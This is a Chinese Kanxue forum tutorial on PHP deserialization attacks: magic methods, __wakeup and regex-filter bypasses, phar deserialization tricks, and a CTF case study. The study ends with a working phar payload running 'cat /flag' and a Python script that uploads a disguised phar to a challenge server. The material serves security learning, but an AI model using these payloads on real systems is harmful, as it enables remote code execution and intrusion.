本文为看雪论坛优秀文章
看雪论坛作者ID:pank1s
一
简介
序列化其实就是将数据转化成一种可逆的数据结构,自然,逆向的过程就叫做反序列化。简单来说就是我在一个地方构造了一个类,但我要在另一个地方去使用它,那怎么传过去呢?于是就想到了序列化这种东西,将对象先序列化为一个字符串(数据),后续需要使用的时候再进行反序列化即可得到要使用的对象,十分方便。
来看看官方手册(https://www.php.net/manual/zh/language.oop5.serialization.php)怎么说:
所有php里面的值都可以使用函数serialize()(https://www.php.net/manual/zh/function.serialize.php)来返回一个包含字节流的字符串来表示。unserialize()(https://www.php.net/manual/zh/function.unserialize.php)函数能够重新把字符串变回php原来的值。 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。
为了能够unserialize()一个对象,这个对象的类必须已经定义过。如果序列化类A的一个对象,将会返回一个跟类A相关,而且包含了对象所有变量值的字符串。 如果要想在另外一个文件中反序列化一个对象,这个对象的类必须在反序列化之前定义,可以通过包含一个定义该类的文件或使用函数spl_autoload_register()(https://www.php.net/manual/zh/function.spl-autoload-register.php)来实现。
php 将数据序列化和反序列化会用到两个函数:
序列化的目的是方便数据的传输和存储,在PHP中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。
注意:php中创建一个对象和反序列化得到一个对象是有所不同的,例如创建一个对象一般会优先调用 __construct() 方法 ,而反序列化得到一个对象若 存在 __wakeup() 方法则会优先调用它而不去执行 __construct() 。
二
常见序列化格式介绍
基本上每个编程语言都有各自的序列化和反序列化方式,格式也各不相同
像有:
二进制格式 字节数组 json字符串 xml字符串 python的opCode码 参考( https://xz.aliyun.com/t/7436 )
简单例子
<?php$arr = array('aa', 'bb', 'cc' => 'dd');$serarr = serialize($arr);echo $serarr;var_dump($arr);
a:3:{i:0;s:2:"aa";i:1;s:2:"bb";s:2:"cc";s:2:"dd";}array(3) {[0]=> string(2) "aa"[1]=> string(2) "bb"["cc"]=> string(2) "dd"}
<?phpclass test {protected $name;private $pass;function __construct($name, $pass) {$this->name = $name;$this->pass = $pass;}}$a = new test('pankas', '123');$seria = serialize($a);echo $seria.'<br/>';echo urlencode($seria);
O:4:"test":2:{s:7:"*name";s:6:"pankas";s:10:"testpass";s:3:"123";}O%3A4%3A%22test%22%3A2%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A6%3A%22pankas%22%3Bs%3A10%3A%22%00test%00pass%22%3Bs%3A3%3A%22123%22%3B%7D
三
反序列化常用魔术方法
__construct()//类的构造函数,创建类对象时调用__destruct()//类的析构函数,对象销毁时调用__call()//在对象中调用一个不可访问方法时调用__callStatic()//用静态方式中调用一个不可访问方法时调用__get()//获得一个类的成员变量时调用__set()//设置一个类的成员变量时调用__isset()//当对不可访问属性调用isset()或empty()时调用__unset()//当对不可访问属性调用unset()时被调用。__sleep()//执行serialize()时,先会调用这个函数__wakeup()//执行unserialize()时,先会调用这个函数,执行后不会执行__construct()函数__toString()//类被当成字符串时的回应方法__invoke()//调用函数的方式调用一个对象时的回应方法__set_state()//调用var_export()导出类时,此静态方法会被调用。__clone()//当对象复制完成时调用__autoload()//尝试加载未定义的类__debugInfo()//打印所需调试信息
四
各种绕过姿势
绕过__wakeup(CVE-2016-7124)
<?phpclass test{public $a;public function __construct(){$this->a = 'abc';}public function __wakeup(){$this->a='def';}public function __destruct(){echo $this->a;}}
__destruct()相关
主动调用unset($obj) 主动调用$obj = NULL 程序自动结束
$a = new test();new test();$a = new test();$a = 1;
<?phpclass test{function __construct($i) {$this->i = $i; }function __destruct() { echo $this->i."Destroy...\n"; }}new test('1');$a = new test('2');$a = new test('3');echo "————————————<br/>";
1Destroy...2Destroy...————————————3Destroy...
<?phpclass test {function __destruct(){echo 'success!!';}}if(isset($_REQUEST['input'])) {$a = unserialize($_REQUEST['input']);throw new Exception('lose');}
class test {}$a = serialize(array(new test, null));echo $a.'<br/>';$a = str_replace(':1', ':0', $a);//将序列化的数组下标为0的元素给为nullecho $a;
a:2:{i:0;O:4:"test":0:{}i:1;N;}a:2:{i:0;O:4:"test":0:{}i:0;N;}//最终payload
绕过正则
利用加号绕过(注意在url里传参时+要编码为%2B)。 利用数组对象绕过,如 serialize(array($a)); a为要反序列化的对象(序列化结果开头是a,不影响作为数组元素的$a的析构)。
<?phpclass test{public $a;public function __construct(){$this->a = 'abc';}public function __destruct(){echo $this->a.PHP_EOL;}}function match($data){if (preg_match('/^O:\d+/',$data)){die('nonono!');}else{return $data;}}$a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}';// +号绕过$b = str_replace('O:4','O:+4', $a);unserialize(match($b));// 将对象放入数组绕过 serialize(array($a));unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');
利用引用绕过
<?phpclass test {public $a;public $b;public function __construct(){$this->a = 'aaa';}public function __destruct(){if($this->a === $this->b) {echo 'you success';}}}if(isset($_REQUEST['input'])) {if(preg_match('/aaa/', $_REQUEST['input'])) {die('nonono');}unserialize($_REQUEST['input']);}else {highlight_file(__FILE__);}
class test {public $a;public $b;public function __construct(){$this->b = &$this->a;}}$a = serialize(new test());echo $a;//O:4:"test":2:{s:1:"a";N;s:1:"b";R:2;}
16进制绕过字符的过滤
<?phpclass test{public $username;public function __construct(){$this->username = 'admin';}public function __destruct(){echo 'success';}}function check($data){if(preg_match('/username/', $data)){echo("nonono!!!</br>");}else{return $data;}}// 未作处理前,会被waf拦截$a = 'O:4:"test":1:{s:8:"username";s:5:"admin";}';$a = check($a);unserialize($a);// 将小s改为大S; 做处理后 \75是u的16进制, 成功绕过$a = 'O:4:"test":1:{S:8:"\\75sername";s:5:"admin";}';$a = check($a);unserialize($a);
五
phar反序列化
前言
生成phar
<?phpclass TestObject {}@unlink("phar.phar");$phar = new Phar("phar.phar"); //后缀名必须为phar$phar->startBuffering();$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub$o = new TestObject();$phar->setMetadata($o); //将自定义的meta-data存入manifest$phar->addFromString("test.txt", "test"); //添加要压缩的文件//签名自动计算$phar->stopBuffering();
一些绕过方式
当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://和compress.zlib://等绕过。
compress.bzip://phar:///test.phar/test.txtcompress.bzip2://phar:///test.phar/test.txtcompress.zlib://phar:///home/sx/test.phar/test.txt
也可以利用其它协议, 如 filter 过滤器。
php://filter/read=convert.base64-encode/resource=phar://phar.pharGIF格式验证可以通过在文件头部添加GIF89a绕过。
$phar->setStub(“GIF89a”."<?php __HALT_COMPILER(); ?>"); //设置stub//生成一个phar.phar,修改后缀名为phar.gif
过滤了__HALT_COMPILER();
参考 https://guokeya.github.io/post/uxwHLckwx (原理)
姿势1:
**将phar文件进行gzip压缩** ,使用压缩后phar文件同样也能反序列化 (常用)linux下使用命令gzip phar.phar 生成。
姿势2:
将phar的内容写进压缩包注释中,也同样能够反序列化成功,压缩为zip也会绕过$phar_file = serialize($exp);echo $phar_file;$zip = new ZipArchive();$res = $zip->open('1.zip',ZipArchive::CREATE);$zip->addFromString('crispr.txt', 'file content goes here');$zip->setArchiveComment($phar_file);$zip->close();
phar 文件签名修改
from hashlib import sha1with open('phar.phar', 'rb') as file:f = file.read() # 修改内容后的phar文件,以二进制文件形式打开s = f[:-28] # 获取要签名的数据(对于sha1签名的phar文件,文件末尾28字节为签名的格式)h = f[-8:] # 获取签名类型以及GBMB标识,各4个字节newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)with open('newPhar.phar', 'wb') as file:file.write(newf) # 写入新文件
案例
<?phpclass LoveNss{public $ljt;public $dky;public $cmd;public function __construct(){//__wakeup执行后__construct并不会执行$this->ljt="ljt";$this->dky="dky";phpinfo();}public function __destruct(){if($this->ljt==="Misc"&&$this->dky==="Re")eval($this->cmd);}public function __wakeup(){//需要绕过__wakeup,更改序列化属性个数即可绕过$this->ljt="Re";$this->dky="Misc";}}$file=$_POST['file'];if(isset($_POST['file'])){if (preg_match("/flag/i", $file)) {die("nonono");}echo file_get_contents($file);}
<?phpif ($_FILES["file"]["error"] > 0){echo "上传异常";}else{$allowedExts = array("gif", "jpeg", "jpg", "png");$temp = explode(".", $_FILES["file"]["name"]);$extension = end($temp);if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){$content=file_get_contents($_FILES["file"]["tmp_name"]);$pos = strpos($content, "__HALT_COMPILER();");//ban掉了明文的stub标识if(gettype($pos)==="integer"){echo "ltj一眼就发现了phar";}else{if (file_exists("./upload/" . $_FILES["file"]["name"])){echo $_FILES["file"]["name"] . " 文件已经存在";}else{$myfile = fopen("./upload/".$_FILES["file"]["name"], "w");fwrite($myfile, $content);fclose($myfile);echo "上传成功 ./upload/".$_FILES["file"]["name"];}}}else{echo "dky不喜欢这个文件 .".$extension;}}?>
<?phpclass LoveNss{public $ljt;public $dky;public $cmd;public function __construct($ljt, $dky, $cmd){$this->ljt = $ljt;$this->dky = $dky;$this->cmd = $cmd;}}@unlink("phar.phar");$phar = new Phar("phar.phar"); //后缀名必须为phar$phar->startBuffering();$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub$o = new LoveNss("Misc", "Re", "cat /flag");$phar->setMetadata($o); //将自定义的meta-data存入manifest$phar->addFromString("test.txt", "test"); //添加要压缩的文件//签名自动计算$phar->stopBuffering();
import requestsfrom hashlib import sha1import gzipimport redef getPhar():with open('phar.phar', 'rb') as file:f = file.read()s = f[:-28] # 获取要签名的数据(对于sha1签名的phar文件,文件末尾28字节为签名的格式)s = s.replace(b'3:{', b'4:{')# 绕过__wakeuph = f[-8:] # 获取签名类型以及GBMB标识,各4个字节newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)return gzip.compress(newf)# 进行gzip压缩def upload(file):burp0_url = "http://1.14.71.254:28403/upload.php"burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://1.14.71.254:28403", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryfXBfemuGHEVNBhN8", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://1.14.71.254:28403/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}burp0_data = b"------WebKitFormBoundaryfXBfemuGHEVNBhN8\r\nContent-Disposition: form-data; name=\"file\"; filename=\"phar.jpg\"\r\nContent-Type: image/jpeg\r\n\r\n" + file + b"\r\n------WebKitFormBoundaryfXBfemuGHEVNBhN8\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\n\r\n------WebKitFormBoundaryfXBfemuGHEVNBhN8--\r\n"# 注意数据类型为byte类型,应该file为byte类型,相同数据类型才能合并requests.post(burp0_url, headers=burp0_headers, data=burp0_data)def getFlag():burp0_url = "http://1.14.71.254:28403/"burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36", "Origin": "http://1.14.71.254:28403", "Content-Type": "application/x-www-form-urlencoded", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://1.14.71.254:28403/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}burp0_data = {"file": "phar://./upload/phar.jpg/test.txt", "submit": ''}res = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)return re.findall('(NSSCTF\{.*?\})', res.text)[0]if __name__ == '__main__':upload(getPhar())print(getFlag())
看雪ID:pank1s
https://bbs.kanxue.com/user-home-952339.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!